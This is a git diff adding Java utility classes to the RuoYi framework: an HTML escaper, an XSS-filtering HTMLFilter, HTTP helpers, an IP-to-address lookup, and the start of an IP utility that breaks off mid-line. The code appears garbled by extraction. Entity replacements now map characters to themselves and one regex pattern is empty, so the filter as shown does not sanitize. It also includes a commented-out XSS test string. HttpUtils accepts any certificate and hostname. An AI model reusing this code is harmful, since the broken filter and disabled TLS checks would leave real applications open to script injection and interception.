b/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/EscapeUtil.java @@ -0,0 +1,167 @@ +package com.ruoyi.common.utils.html; + +import com.ruoyi.common.utils.StringUtils; + +/** + * 转义和反转义工具类 + * + * @author ruoyi + */ +public class EscapeUtil +{ + public static final String RE_HTML_MARK = "(<[^<]*?>)|(<[\\s]*?/[^<]*?>)|(<[^<]*?/[\\s]*?>)"; + + private static final char[][] TEXT = new char[64][]; + + static + { + for (int i = 0; i < 64; i++) + { + TEXT[i] = new char[] { (char) i }; + } + + // special HTML characters + TEXT['\''] = "'".toCharArray(); // 单引号 + TEXT['"'] = """.toCharArray(); // 双引号 + TEXT['&'] = "&".toCharArray(); // &符 + TEXT['<'] = "<".toCharArray(); // 小于号 + TEXT['>'] = ">".toCharArray(); // 大于号 + } + + /** + * 转义文本中的HTML字符为安全的字符 + * + * @param text 被转义的文本 + * @return 转义后的文本 + */ + public static String escape(String text) + { + return encode(text); + } + + /** + * 还原被转义的HTML特殊字符 + * + * @param content 包含转义符的HTML内容 + * @return 转换后的字符串 + */ + public static String unescape(String content) + { + return decode(content); + } + + /** + * 清除所有HTML标签,但是不删除标签内的内容 + * + * @param content 文本 + * @return 清除标签后的文本 + */ + public static String clean(String content) + { + return new HTMLFilter().filter(content); + } + + /** + * Escape编码 + * + * @param text 被编码的文本 + * @return 编码后的字符 + */ + private static String encode(String text) + { + if (StringUtils.isEmpty(text)) + { + return StringUtils.EMPTY; + } + + final StringBuilder tmp = new StringBuilder(text.length() * 6); + char c; + for (int i = 0; i < text.length(); i++) + { + c = text.charAt(i); + if (c < 256) + { + tmp.append("%"); + if (c < 16) + { + tmp.append("0"); + } + tmp.append(Integer.toString(c, 16)); + } + else + { + tmp.append("%u"); + if (c <= 0xfff) + { + // issue#I49JU8@Gitee + tmp.append("0"); + } + tmp.append(Integer.toString(c, 16)); + } + } + return tmp.toString(); + } + + /** + * Escape解码 + * + * @param content 被转义的内容 + * @return 解码后的字符串 + */ + public static String decode(String content) + { + if (StringUtils.isEmpty(content)) + { + return content; + } + + StringBuilder tmp = new StringBuilder(content.length()); + int lastPos = 0, pos = 0; + char ch; + while (lastPos < content.length()) + { + pos = content.indexOf("%", lastPos); + if (pos == lastPos) + { + if (content.charAt(pos + 1) == 'u') + { + ch = (char) Integer.parseInt(content.substring(pos + 2, pos + 6), 16); + tmp.append(ch); + lastPos = pos + 6; + } + else + { + ch = (char) Integer.parseInt(content.substring(pos + 1, pos + 3), 16); + tmp.append(ch); + lastPos = pos + 3; + } + } + else + { + if (pos == -1) + { + tmp.append(content.substring(lastPos)); + lastPos = content.length(); + } + else + { + tmp.append(content.substring(lastPos, pos)); + lastPos = pos; + } + } + } + return tmp.toString(); + } + + public static void main(String[] args) + { + String html = ""; + String escape = EscapeUtil.escape(html); + // String html = "ipt>alert(\"XSS\")ipt>"; + // String html = "<123"; + // String html = "123>"; + System.out.println("clean: " + EscapeUtil.clean(html)); + System.out.println("escape: " + escape); + System.out.println("unescape: " + EscapeUtil.unescape(escape)); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/HTMLFilter.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/HTMLFilter.java new file mode 100644 index 0000000..ebff3fd --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/html/HTMLFilter.java @@ -0,0 +1,570 @@ +package com.ruoyi.common.utils.html; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ConcurrentMap; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +/** + * HTML过滤器,用于去除XSS漏洞隐患。 + * + * @author ruoyi + */ +public final class HTMLFilter +{ + /** + * regex flag union representing /si modifiers in php + **/ + private static final int REGEX_FLAGS_SI = Pattern.CASE_INSENSITIVE | Pattern.DOTALL; + private static final Pattern P_COMMENTS = Pattern.compile("", Pattern.DOTALL); + private static final Pattern P_COMMENT = Pattern.compile("^!--(.*)--$", REGEX_FLAGS_SI); + private static final Pattern P_TAGS = Pattern.compile("<(.*?)>", Pattern.DOTALL); + private static final Pattern P_END_TAG = Pattern.compile("^/([a-z0-9]+)", REGEX_FLAGS_SI); + private static final Pattern P_START_TAG = Pattern.compile("^([a-z0-9]+)(.*?)(/?)$", REGEX_FLAGS_SI); + private static final Pattern P_QUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)=([\"'])(.*?)\\2", REGEX_FLAGS_SI); + private static final Pattern P_UNQUOTED_ATTRIBUTES = Pattern.compile("([a-z0-9]+)(=)([^\"\\s']+)", REGEX_FLAGS_SI); + private static final Pattern P_PROTOCOL = Pattern.compile("^([^:]+):", REGEX_FLAGS_SI); + private static final Pattern P_ENTITY = Pattern.compile("&#(\\d+);?"); + private static final Pattern P_ENTITY_UNICODE = Pattern.compile("&#x([0-9a-f]+);?"); + private static final Pattern P_ENCODE = Pattern.compile("%([0-9a-f]{2});?"); + private static final Pattern P_VALID_ENTITIES = Pattern.compile("&([^&;]*)(?=(;|&|$))"); + private static final Pattern P_VALID_QUOTES = Pattern.compile("(>|^)([^<]+?)(<|$)", Pattern.DOTALL); + private static final Pattern P_END_ARROW = Pattern.compile("^>"); + private static final Pattern P_BODY_TO_END = Pattern.compile("<([^>]*?)(?=<|$)"); + private static final Pattern P_XML_CONTENT = Pattern.compile("(^|>)([^<]*?)(?=>)"); + private static final Pattern P_STRAY_LEFT_ARROW = Pattern.compile("<([^>]*?)(?=<|$)"); + private static final Pattern P_STRAY_RIGHT_ARROW = Pattern.compile("(^|>)([^<]*?)(?=>)"); + private static final Pattern P_AMP = Pattern.compile("&"); + private static final Pattern P_QUOTE = Pattern.compile("\""); + private static final Pattern P_LEFT_ARROW = Pattern.compile("<"); + private static final Pattern P_RIGHT_ARROW = Pattern.compile(">"); + private static final Pattern P_BOTH_ARROWS = Pattern.compile("<>"); + + // @xxx could grow large... maybe use sesat's ReferenceMap + private static final ConcurrentMap P_REMOVE_PAIR_BLANKS = new ConcurrentHashMap<>(); + private static final ConcurrentMap P_REMOVE_SELF_BLANKS = new ConcurrentHashMap<>(); + + /** + * set of allowed html elements, along with allowed attributes for each element + **/ + private final Map> vAllowed; + /** + * counts of open tags for each (allowable) html element + **/ + private final Map vTagCounts = new HashMap<>(); + + /** + * html elements which must always be self-closing (e.g. "") + **/ + private final String[] vSelfClosingTags; + /** + * html elements which must always have separate opening and closing tags (e.g. "") + **/ + private final String[] vNeedClosingTags; + /** + * set of disallowed html elements + **/ + private final String[] vDisallowed; + /** + * attributes which should be checked for valid protocols + **/ + private final String[] vProtocolAtts; + /** + * allowed protocols + **/ + private final String[] vAllowedProtocols; + /** + * tags which should be removed if they contain no content (e.g. "" or "") + **/ + private final String[] vRemoveBlanks; + /** + * entities allowed within html markup + **/ + private final String[] vAllowedEntities; + /** + * flag determining whether comments are allowed in input String. + */ + private final boolean stripComment; + private final boolean encodeQuotes; + /** + * flag determining whether to try to make tags when presented with "unbalanced" angle brackets (e.g. "" + * becomes " text "). If set to false, unbalanced angle brackets will be html escaped. + */ + private final boolean alwaysMakeTags; + + /** + * Default constructor. + */ + public HTMLFilter() + { + vAllowed = new HashMap<>(); + + final ArrayList a_atts = new ArrayList<>(); + a_atts.add("href"); + a_atts.add("target"); + vAllowed.put("a", a_atts); + + final ArrayList img_atts = new ArrayList<>(); + img_atts.add("src"); + img_atts.add("width"); + img_atts.add("height"); + img_atts.add("alt"); + vAllowed.put("img", img_atts); + + final ArrayList no_atts = new ArrayList<>(); + vAllowed.put("b", no_atts); + vAllowed.put("strong", no_atts); + vAllowed.put("i", no_atts); + vAllowed.put("em", no_atts); + + vSelfClosingTags = new String[] { "img" }; + vNeedClosingTags = new String[] { "a", "b", "strong", "i", "em" }; + vDisallowed = new String[] {}; + vAllowedProtocols = new String[] { "http", "mailto", "https" }; // no ftp. + vProtocolAtts = new String[] { "src", "href" }; + vRemoveBlanks = new String[] { "a", "b", "strong", "i", "em" }; + vAllowedEntities = new String[] { "amp", "gt", "lt", "quot" }; + stripComment = true; + encodeQuotes = true; + alwaysMakeTags = false; + } + + /** + * Map-parameter configurable constructor. + * + * @param conf map containing configuration. keys match field names. + */ + @SuppressWarnings("unchecked") + public HTMLFilter(final Map conf) + { + + assert conf.containsKey("vAllowed") : "configuration requires vAllowed"; + assert conf.containsKey("vSelfClosingTags") : "configuration requires vSelfClosingTags"; + assert conf.containsKey("vNeedClosingTags") : "configuration requires vNeedClosingTags"; + assert conf.containsKey("vDisallowed") : "configuration requires vDisallowed"; + assert conf.containsKey("vAllowedProtocols") : "configuration requires vAllowedProtocols"; + assert conf.containsKey("vProtocolAtts") : "configuration requires vProtocolAtts"; + assert conf.containsKey("vRemoveBlanks") : "configuration requires vRemoveBlanks"; + assert conf.containsKey("vAllowedEntities") : "configuration requires vAllowedEntities"; + + vAllowed = Collections.unmodifiableMap((HashMap>) conf.get("vAllowed")); + vSelfClosingTags = (String[]) conf.get("vSelfClosingTags"); + vNeedClosingTags = (String[]) conf.get("vNeedClosingTags"); + vDisallowed = (String[]) conf.get("vDisallowed"); + vAllowedProtocols = (String[]) conf.get("vAllowedProtocols"); + vProtocolAtts = (String[]) conf.get("vProtocolAtts"); + vRemoveBlanks = (String[]) conf.get("vRemoveBlanks"); + vAllowedEntities = (String[]) conf.get("vAllowedEntities"); + stripComment = conf.containsKey("stripComment") ? (Boolean) conf.get("stripComment") : true; + encodeQuotes = conf.containsKey("encodeQuotes") ? (Boolean) conf.get("encodeQuotes") : true; + alwaysMakeTags = conf.containsKey("alwaysMakeTags") ? (Boolean) conf.get("alwaysMakeTags") : true; + } + + private void reset() + { + vTagCounts.clear(); + } + + // --------------------------------------------------------------- + // my versions of some PHP library functions + public static String chr(final int decimal) + { + return String.valueOf((char) decimal); + } + + public static String htmlSpecialChars(final String s) + { + String result = s; + result = regexReplace(P_AMP, "&", result); + result = regexReplace(P_QUOTE, """, result); + result = regexReplace(P_LEFT_ARROW, "<", result); + result = regexReplace(P_RIGHT_ARROW, ">", result); + return result; + } + + // --------------------------------------------------------------- + + /** + * given a user submitted input String, filter out any invalid or restricted html. + * + * @param input text (i.e. submitted by a user) than may contain html + * @return "clean" version of input, with only valid, whitelisted html elements allowed + */ + public String filter(final String input) + { + reset(); + String s = input; + + s = escapeComments(s); + + s = balanceHTML(s); + + s = checkTags(s); + + s = processRemoveBlanks(s); + + // s = validateEntities(s); + + return s; + } + + public boolean isAlwaysMakeTags() + { + return alwaysMakeTags; + } + + public boolean isStripComments() + { + return stripComment; + } + + private String escapeComments(final String s) + { + final Matcher m = P_COMMENTS.matcher(s); + final StringBuffer buf = new StringBuffer(); + if (m.find()) + { + final String match = m.group(1); // (.*?) + m.appendReplacement(buf, Matcher.quoteReplacement("")); + } + m.appendTail(buf); + + return buf.toString(); + } + + private String balanceHTML(String s) + { + if (alwaysMakeTags) + { + // + // try and form html + // + s = regexReplace(P_END_ARROW, "", s); + // 不追加结束标签 + s = regexReplace(P_BODY_TO_END, "<$1>", s); + s = regexReplace(P_XML_CONTENT, "$1<$2", s); + + } + else + { + // + // escape stray brackets + // + s = regexReplace(P_STRAY_LEFT_ARROW, "<$1", s); + s = regexReplace(P_STRAY_RIGHT_ARROW, "$1$2><", s); + + // + // the last regexp causes '<>' entities to appear + // (we need to do a lookahead assertion so that the last bracket can + // be used in the next pass of the regexp) + // + s = regexReplace(P_BOTH_ARROWS, "", s); + } + + return s; + } + + private String checkTags(String s) + { + Matcher m = P_TAGS.matcher(s); + + final StringBuffer buf = new StringBuffer(); + while (m.find()) + { + String replaceStr = m.group(1); + replaceStr = processTag(replaceStr); + m.appendReplacement(buf, Matcher.quoteReplacement(replaceStr)); + } + m.appendTail(buf); + + // these get tallied in processTag + // (remember to reset before subsequent calls to filter method) + final StringBuilder sBuilder = new StringBuilder(buf.toString()); + for (String key : vTagCounts.keySet()) + { + for (int ii = 0; ii < vTagCounts.get(key); ii++) + { + sBuilder.append(""); + } + } + s = sBuilder.toString(); + + return s; + } + + private String processRemoveBlanks(final String s) + { + String result = s; + for (String tag : vRemoveBlanks) + { + if (!P_REMOVE_PAIR_BLANKS.containsKey(tag)) + { + P_REMOVE_PAIR_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)?>")); + } + result = regexReplace(P_REMOVE_PAIR_BLANKS.get(tag), "", result); + if (!P_REMOVE_SELF_BLANKS.containsKey(tag)) + { + P_REMOVE_SELF_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)?/>")); + } + result = regexReplace(P_REMOVE_SELF_BLANKS.get(tag), "", result); + } + + return result; + } + + private static String regexReplace(final Pattern regex_pattern, final String replacement, final String s) + { + Matcher m = regex_pattern.matcher(s); + return m.replaceAll(replacement); + } + + private String processTag(final String s) + { + // ending tags + Matcher m = P_END_TAG.matcher(s); + if (m.find()) + { + final String name = m.group(1).toLowerCase(); + if (allowed(name)) + { + if (!inArray(name, vSelfClosingTags)) + { + if (vTagCounts.containsKey(name)) + { + vTagCounts.put(name, vTagCounts.get(name) - 1); + return ""; + } + } + } + } + + // starting tags + m = P_START_TAG.matcher(s); + if (m.find()) + { + final String name = m.group(1).toLowerCase(); + final String body = m.group(2); + String ending = m.group(3); + + // debug( "in a starting tag, name='" + name + "'; body='" + body + "'; ending='" + ending + "'" ); + if (allowed(name)) + { + final StringBuilder params = new StringBuilder(); + + final Matcher m2 = P_QUOTED_ATTRIBUTES.matcher(body); + final Matcher m3 = P_UNQUOTED_ATTRIBUTES.matcher(body); + final List paramNames = new ArrayList<>(); + final List paramValues = new ArrayList<>(); + while (m2.find()) + { + paramNames.add(m2.group(1)); // ([a-z0-9]+) + paramValues.add(m2.group(3)); // (.*?) + } + while (m3.find()) + { + paramNames.add(m3.group(1)); // ([a-z0-9]+) + paramValues.add(m3.group(3)); // ([^\"\\s']+) + } + + String paramName, paramValue; + for (int ii = 0; ii < paramNames.size(); ii++) + { + paramName = paramNames.get(ii).toLowerCase(); + paramValue = paramValues.get(ii); + + // debug( "paramName='" + paramName + "'" ); + // debug( "paramValue='" + paramValue + "'" ); + // debug( "allowed? " + vAllowed.get( name ).contains( paramName ) ); + + if (allowedAttribute(name, paramName)) + { + if (inArray(paramName, vProtocolAtts)) + { + paramValue = processParamProtocol(paramValue); + } + params.append(' ').append(paramName).append("=\\\"").append(paramValue).append("\\\""); + } + } + + if (inArray(name, vSelfClosingTags)) + { + ending = " /"; + } + + if (inArray(name, vNeedClosingTags)) + { + ending = ""; + } + + if (ending == null || ending.length() < 1) + { + if (vTagCounts.containsKey(name)) + { + vTagCounts.put(name, vTagCounts.get(name) + 1); + } + else + { + vTagCounts.put(name, 1); + } + } + else + { + ending = " /"; + } + return "<" + name + params + ending + ">"; + } + else + { + return ""; + } + } + + // comments + m = P_COMMENT.matcher(s); + if (!stripComment && m.find()) + { + return "<" + m.group() + ">"; + } + + return ""; + } + + private String processParamProtocol(String s) + { + s = decodeEntities(s); + final Matcher m = P_PROTOCOL.matcher(s); + if (m.find()) + { + final String protocol = m.group(1); + if (!inArray(protocol, vAllowedProtocols)) + { + // bad protocol, turn into local anchor link instead + s = "#" + s.substring(protocol.length() + 1); + if (s.startsWith("#//")) + { + s = "#" + s.substring(3); + } + } + } + + return s; + } + + private String decodeEntities(String s) + { + StringBuffer buf = new StringBuffer(); + + Matcher m = P_ENTITY.matcher(s); + while (m.find()) + { + final String match = m.group(1); + final int decimal = Integer.decode(match).intValue(); + m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal))); + } + m.appendTail(buf); + s = buf.toString(); + + buf = new StringBuffer(); + m = P_ENTITY_UNICODE.matcher(s); + while (m.find()) + { + final String match = m.group(1); + final int decimal = Integer.valueOf(match, 16).intValue(); + m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal))); + } + m.appendTail(buf); + s = buf.toString(); + + buf = new StringBuffer(); + m = P_ENCODE.matcher(s); + while (m.find()) + { + final String match = m.group(1); + final int decimal = Integer.valueOf(match, 16).intValue(); + m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal))); + } + m.appendTail(buf); + s = buf.toString(); + + s = validateEntities(s); + return s; + } + + private String validateEntities(final String s) + { + StringBuffer buf = new StringBuffer(); + + // validate entities throughout the string + Matcher m = P_VALID_ENTITIES.matcher(s); + while (m.find()) + { + final String one = m.group(1); // ([^&;]*) + final String two = m.group(2); // (?=(;|&|$)) + m.appendReplacement(buf, Matcher.quoteReplacement(checkEntity(one, two))); + } + m.appendTail(buf); + + return encodeQuotes(buf.toString()); + } + + private String encodeQuotes(final String s) + { + if (encodeQuotes) + { + StringBuffer buf = new StringBuffer(); + Matcher m = P_VALID_QUOTES.matcher(s); + while (m.find()) + { + final String one = m.group(1); // (>|^) + final String two = m.group(2); // ([^<]+?) + final String three = m.group(3); // (<|$) + // 不替换双引号为",防止json格式无效 regexReplace(P_QUOTE, """, two) + m.appendReplacement(buf, Matcher.quoteReplacement(one + two + three)); + } + m.appendTail(buf); + return buf.toString(); + } + else + { + return s; + } + } + + private String checkEntity(final String preamble, final String term) + { + + return ";".equals(term) && isValidEntity(preamble) ? '&' + preamble : "&" + preamble; + } + + private boolean isValidEntity(final String entity) + { + return inArray(entity, vAllowedEntities); + } + + private static boolean inArray(final String s, final String[] array) + { + for (String item : array) + { + if (item != null && item.equals(s)) + { + return true; + } + } + return false; + } + + private boolean allowed(final String name) + { + return (vAllowed.isEmpty() || vAllowed.containsKey(name)) && !inArray(name, vDisallowed); + } + + private boolean allowedAttribute(final String name, final String paramName) + { + return allowed(name) && (vAllowed.isEmpty() || vAllowed.get(name).contains(paramName)); + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpHelper.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpHelper.java new file mode 100644 index 0000000..589d123 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpHelper.java @@ -0,0 +1,55 @@ +package com.ruoyi.common.utils.http; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.nio.charset.StandardCharsets; +import javax.servlet.ServletRequest; +import org.apache.commons.lang3.exception.ExceptionUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 通用http工具封装 + * + * @author ruoyi + */ +public class HttpHelper +{ + private static final Logger LOGGER = LoggerFactory.getLogger(HttpHelper.class); + + public static String getBodyString(ServletRequest request) + { + StringBuilder sb = new StringBuilder(); + BufferedReader reader = null; + try (InputStream inputStream = request.getInputStream()) + { + reader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8)); + String line = ""; + while ((line = reader.readLine()) != null) + { + sb.append(line); + } + } + catch (IOException e) + { + LOGGER.warn("getBodyString出现问题!"); + } + finally + { + if (reader != null) + { + try + { + reader.close(); + } + catch (IOException e) + { + LOGGER.error(ExceptionUtils.getMessage(e)); + } + } + } + return sb.toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpUtils.java new file mode 100644 index 0000000..714ef02 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpUtils.java @@ -0,0 +1,317 @@ +package com.ruoyi.common.utils.http; + +import java.io.*; +import java.net.*; +import java.nio.charset.StandardCharsets; +import java.security.cert.X509Certificate; +import java.util.Map; +import javax.net.ssl.HostnameVerifier; +import javax.net.ssl.HttpsURLConnection; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLSession; +import javax.net.ssl.TrustManager; +import javax.net.ssl.X509TrustManager; + +import com.alibaba.fastjson2.JSONObject; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.utils.StringUtils; + +/** + * 通用http发送方法 + * + * @author ruoyi + */ +public class HttpUtils +{ + private static final Logger log = LoggerFactory.getLogger(HttpUtils.class); + + /** + * 向指定 URL 发送GET方法的请求 + * + * @param url 发送请求的 URL + * @return 所代表远程资源的响应结果 + */ + public static String sendGet(String url) + { + return sendGet(url, StringUtils.EMPTY); + } + + /** + * 向指定 URL 发送GET方法的请求 + * + * @param url 发送请求的 URL + * @param param 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 + * @return 所代表远程资源的响应结果 + */ + public static String sendGet(String url, String param) + { + return sendGet(url, param, Constants.UTF8); + } + + /** + * 向指定 URL 发送GET方法的请求 + * + * @param url 发送请求的 URL + * @param param 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 + * @param contentType 编码类型 + * @return 所代表远程资源的响应结果 + */ + public static String sendGet(String url, String param, String contentType) + { + StringBuilder result = new StringBuilder(); + BufferedReader in = null; + try + { + String urlNameString = StringUtils.isNotBlank(param) ? url + "?" + param : url; + log.debug("sendGet - {}", urlNameString); + URL realUrl = new URL(urlNameString); + URLConnection connection = realUrl.openConnection(); + connection.setRequestProperty("accept", "*/*"); + connection.setRequestProperty("connection", "Keep-Alive"); + connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); + connection.connect(); + in = new BufferedReader(new InputStreamReader(connection.getInputStream(), contentType)); + String line; + while ((line = in.readLine()) != null) + { + result.append(line); + } + log.debug("recv - {}", result); + } + catch (ConnectException e) + { + log.error("调用HttpUtils.sendGet ConnectException, url=" + url + ",param=" + param, e); + } + catch (SocketTimeoutException e) + { + log.error("调用HttpUtils.sendGet SocketTimeoutException, url=" + url + ",param=" + param, e); + } + catch (IOException e) + { + log.error("调用HttpUtils.sendGet IOException, url=" + url + ",param=" + param, e); + } + catch (Exception e) + { + log.error("调用HttpsUtil.sendGet Exception, url=" + url + ",param=" + param, e); + } + finally + { + try + { + if (in != null) + { + in.close(); + } + } + catch (Exception ex) + { + log.error("调用in.close Exception, url=" + url + ",param=" + param, ex); + } + } + return result.toString(); + } + + /** + * 向指定 URL 发送POST方法的请求 + * + * @param url 发送请求的 URL + * @param param 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 + * @return 所代表远程资源的响应结果 + */ + public static String sendPost(String url, String param) + { + PrintWriter out = null; + BufferedReader in = null; + StringBuilder result = new StringBuilder(); + try + { + log.debug("sendPost - {}", url); + URL realUrl = new URL(url); + URLConnection conn = realUrl.openConnection(); + conn.setRequestProperty("accept", "*/*"); + conn.setRequestProperty("connection", "Keep-Alive"); + conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); + conn.setRequestProperty("Accept-Charset", "utf-8"); + conn.setRequestProperty("contentType", "utf-8"); + conn.setDoOutput(true); + conn.setDoInput(true); + out = new PrintWriter(conn.getOutputStream()); + out.print(param); + out.flush(); + in = new BufferedReader(new InputStreamReader(conn.getInputStream(), StandardCharsets.UTF_8)); + String line; + while ((line = in.readLine()) != null) + { + result.append(line); + } + log.debug("recv - {}", result); + } + catch (ConnectException e) + { + log.error("调用HttpUtils.sendPost ConnectException, url=" + url + ",param=" + param, e); + } + catch (SocketTimeoutException e) + { + log.error("调用HttpUtils.sendPost SocketTimeoutException, url=" + url + ",param=" + param, e); + } + catch (IOException e) + { + log.error("调用HttpUtils.sendPost IOException, url=" + url + ",param=" + param, e); + } + catch (Exception e) + { + log.error("调用HttpsUtil.sendPost Exception, url=" + url + ",param=" + param, e); + } + finally + { + try + { + if (out != null) + { + out.close(); + } + if (in != null) + { + in.close(); + } + } + catch (IOException ex) + { + log.error("调用in.close Exception, url=" + url + ",param=" + param, ex); + } + } + return result.toString(); + } + + public static String sendSSLPost(String url, String param) + { + StringBuilder result = new StringBuilder(); + String urlNameString = url + "?" + param; + try + { + log.debug("sendSSLPost - {}", urlNameString); + SSLContext sc = SSLContext.getInstance("SSL"); + sc.init(null, new TrustManager[] { new TrustAnyTrustManager() }, new java.security.SecureRandom()); + URL console = new URL(urlNameString); + HttpsURLConnection conn = (HttpsURLConnection) console.openConnection(); + conn.setRequestProperty("accept", "*/*"); + conn.setRequestProperty("connection", "Keep-Alive"); + conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); + conn.setRequestProperty("Accept-Charset", "utf-8"); + conn.setRequestProperty("contentType", "utf-8"); + conn.setDoOutput(true); + conn.setDoInput(true); + + conn.setSSLSocketFactory(sc.getSocketFactory()); + conn.setHostnameVerifier(new TrustAnyHostnameVerifier()); + conn.connect(); + InputStream is = conn.getInputStream(); + BufferedReader br = new BufferedReader(new InputStreamReader(is)); + String ret = ""; + while ((ret = br.readLine()) != null) + { + if (ret != null && !"".equals(ret.trim())) + { + result.append(new String(ret.getBytes(StandardCharsets.ISO_8859_1), StandardCharsets.UTF_8)); + } + } + log.debug("recv - {}", result); + conn.disconnect(); + br.close(); + } + catch (ConnectException e) + { + log.error("调用HttpUtils.sendSSLPost ConnectException, url=" + url + ",param=" + param, e); + } + catch (SocketTimeoutException e) + { + log.error("调用HttpUtils.sendSSLPost SocketTimeoutException, url=" + url + ",param=" + param, e); + } + catch (IOException e) + { + log.error("调用HttpUtils.sendSSLPost IOException, url=" + url + ",param=" + param, e); + } + catch (Exception e) + { + log.error("调用HttpsUtil.sendSSLPost Exception, url=" + url + ",param=" + param, e); + } + return result.toString(); + } + + private static class TrustAnyTrustManager implements X509TrustManager + { + @Override + public void checkClientTrusted(X509Certificate[] chain, String authType) + { + } + + @Override + public void checkServerTrusted(X509Certificate[] chain, String authType) + { + } + + @Override + public X509Certificate[] getAcceptedIssuers() + { + return new X509Certificate[] {}; + } + } + + private static class TrustAnyHostnameVerifier implements HostnameVerifier + { + @Override + public boolean verify(String hostname, SSLSession session) + { + return true; + } + } + + /** + * post携带json请求 静态方法 + * + * @param reqUrl 请求地址 + * @param jsonParameters 参数 + * @return + */ + public static String doPostWithJson(String reqUrl, Map jsonParameters) { + + BufferedReader reader = null; + try { + //创建连接 + URL url = new URL(reqUrl); + HttpURLConnection connection = (HttpURLConnection) url.openConnection(); + connection.setDoOutput(true); + connection.setDoInput(true); + connection.setUseCaches(false); + connection.setInstanceFollowRedirects(true); + //设置请求方式 + connection.setRequestMethod("POST"); + //设置发送数据的格式 + connection.setRequestProperty("Content-Type", "application/json"); + connection.connect(); + //一定要用BufferedReader 来接收响应, 使用字节来接收响应的方法是接收不到内容的 + //utf-8编码 + OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), StandardCharsets.UTF_8); + out.append(JSONObject.toJSONString(jsonParameters)); + out.flush(); + out.close(); + //读取响应 + reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), StandardCharsets.UTF_8)); + String line; + String res = ""; + while ((line = reader.readLine()) != null) { + res += line; + } + reader.close(); + + return res; + } catch (IOException e) { + log.error("post请求错误", e); + } + //自定义错误信息 + return "error"; + + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/AddressUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/AddressUtils.java new file mode 100644 index 0000000..edfe419 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/AddressUtils.java @@ -0,0 +1,56 @@ +package com.ruoyi.common.utils.ip; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.http.HttpUtils; + +/** + * 获取地址类 + * + * @author ruoyi + */ +public class AddressUtils +{ + private static final Logger log = LoggerFactory.getLogger(AddressUtils.class); + + // IP地址查询 + public static final String IP_URL = "http://whois.pconline.com.cn/ipJson.jsp"; + + // 未知地址 + public static final String UNKNOWN = "XX XX"; + + public static String getRealAddressByIP(String ip) + { + // 内网不查询 + if (IpUtils.internalIp(ip)) + { + return "内网IP"; + } + if (RuoYiConfig.isAddressEnabled()) + { + try + { + String rspStr = HttpUtils.sendGet(IP_URL, "ip=" + ip + "&json=true", Constants.GBK); + if (StringUtils.isEmpty(rspStr)) + { + log.error("获取地理位置异常 {}", ip); + return UNKNOWN; + } + JSONObject obj = JSON.parseObject(rspStr); + String region = obj.getString("pro"); + String city = obj.getString("city"); + return String.format("%s %s", region, city); + } + catch (Exception e) + { + log.error("获取地理位置异常 {}", ip); + } + } + return UNKNOWN; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/IpUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/IpUtils.java new file mode 100644 index 0000000..369e7d6 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/IpUtils.java @@ -0,0 +1,439 @@ +package com.ruoyi.common.utils.ip; + +import java.io.InputStream; +import java.lang.reflect.Method; +import java.net.InetAddress; +import java.net.UnknownHostException; +import javax.servlet.http.HttpServletRequest; + +import cn.hutool.core.io.IoUtil; +import com.ruoyi.common.utils.ServletUtils; +import com.ruoyi.common.utils.StringUtils; +import org.lionsoul.ip2region.DataBlock; +import org.lionsoul.ip2region.DbConfig; +import org.lionsoul.ip2region.DbSearcher; +import org.lionsoul.ip2region.Util; +import org.springframework.core.io.ClassPathResource; + +/** + * 获取IP方法 + * + * @author ruoyi + */ +public class IpUtils +{ + public final static String REGX_0_255 = "(25[0-5]|2[0-4]\\d|1\\d{2}|[1-9]\\d|\\d)"; + // 匹配 ip + public final static String REGX_IP = "((" + REGX_0_255 + "\\.){3}" + REGX_0_255 